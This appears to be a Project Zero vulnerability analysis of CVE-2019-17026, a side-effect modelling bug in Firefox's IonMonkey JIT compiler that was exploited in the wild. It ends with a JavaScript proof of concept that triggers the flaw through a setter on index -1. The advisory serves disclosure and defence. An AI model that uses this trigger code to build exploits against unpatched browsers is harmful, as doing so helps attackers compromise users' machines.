CVE-2019-17026: Firefox Type Confusion in IonMonkey

This page has been moved to our new site. Please click here to go to the new location.
Posted by Samuel Groß, Project Zero (2020-08-05)

Disclosure or Patch Date: 8 January 2020
Product: Mozilla Firefox
Affected Versions:
First Patched Version: Firefox 72.0.1 and Firefox ESR 68.4.1
Bug-Introducing CL: 
Proof-of-Concept: Included below.
Exploit Sample: N/A
Access to the exploit sample? No
Reporter(s): Qihoo 360 ATA

Bug Class:  Incorrect side-effect modelling in JIT Compiler
Vulnerability Details:
The alias information, which describes what side-effects a JIT MIR operation can have, have been changed for the StoreElementHole and FallibleStoreElement operations. In particular, they have been generalized so the compiler now assumes that executing one of these two operations can change anything. This implies that the modelling was incorrect previously. This bug is thus one of the “incorrect side-effect modelling” issues frequently found in JIT engines. 

Given the patch, it seems likely that the StoreElementHole and FallibleStoreElement can cause unexpected execution of arbitrary JavaScript. An immediate thought are indexed accessors in the prototype chain, however, the JIT compiler guards against that. As it turns out, however, the StoreElementHole and FallibleStoreElement operations will happily accept negative numbers as the index, in which case they end up writing a property and not an element (in JavaScript, elements must have integer-valued keys between 0 and I think 0x7fffffff). As such, a property setter on the property ‘-1’ will pass the JITs requirements about the input objects but will also cause unexpected execution of JavaScript during the StoreElementHole operation.

Is the exploit method known? N/A
Exploit method: Unknown due to not having access to the exploit, but most likely similar to other exploits for this type of bug, such as CVE-2019-11707.

How do you think you would have found this bug? Based on how well documented & popular this bug class is, it’s likely someone looked for other instances of this bug class.

(Historical/present/future) context of bug: 
CVE-2019-17026 was also seen exploited in the wild with CVE-2020-0674, an Internet Explorer 0-day. When paired with the Firefox vulnerability CVE-20196-17026, CVE-2020-0674 was used as a sandbox escape on Windows 7. 

CVE-2019-11707 is a similar type of bug in Spidermonkey that was also exploited in the wild [P0 1820]. 

Areas/approach for variant analysis:
Found variants: 
Same as for CVE-2019-11707.

Structural improvements:
Same as for CVE-2019-11707.

Potential detection methods for similar 0-days:
Same as for CVE-2019-11707.

Other references: 

Proof-of-concept:
Code should print 1337 at the end, but, on vulnerable versions, prints 42.
// Set this to 10 or so to see correct result
const NUM_ITERATIONS = 2000;
const ARRAY_LENGTH = 100;

let OBJ = { a: 41 };
// Need to change property once or IonMonkey
// will assume it's a constant.
OBJ.a = 42;

let ctr = 0;
function f(obj, idx) {
    let v = OBJ.a;
    obj[idx] = v;
    // In the last iteration, the JIT code will get here without
    // bailing out while the StoreElementHole operation above
    // unexpectedly invoked a setter because idx -1 is a property.
    // As the compiler didn't expect side effects, it does not
    // refetch OBJ.a and so returns an incorrect result.
    // Causing type confusions is left as an exercise ;)
    return OBJ.a;
}

function main() {
    for(let i = 0; i < NUM_ITERATIONS; i++) {
        let isLastIteration = i == NUM_ITERATIONS - 1;
        let length = ARRAY_LENGTH;
        let idx = isLastIteration ? -1 : ARRAY_LENGTH;

        let obj = new Array(length);
        Object.defineProperty(obj, '-1', {
            set() {
                print('Setter called, setting OBJ.a to 1337');
                OBJ.a = 1337;
            }
        });

        for (let j = 0; j < length; j++) {
            // Array must not be packed or else a flag change
            // (indicating non-packed elements) will cause
            // invalidation in the last iteration.
            if (j == length/2) {
                continue;
            }
            obj[j] = j;
        }

        let r = f(obj, idx);
        print('Result: ' + r);
    }
}

main();

No comments:

Post a Comment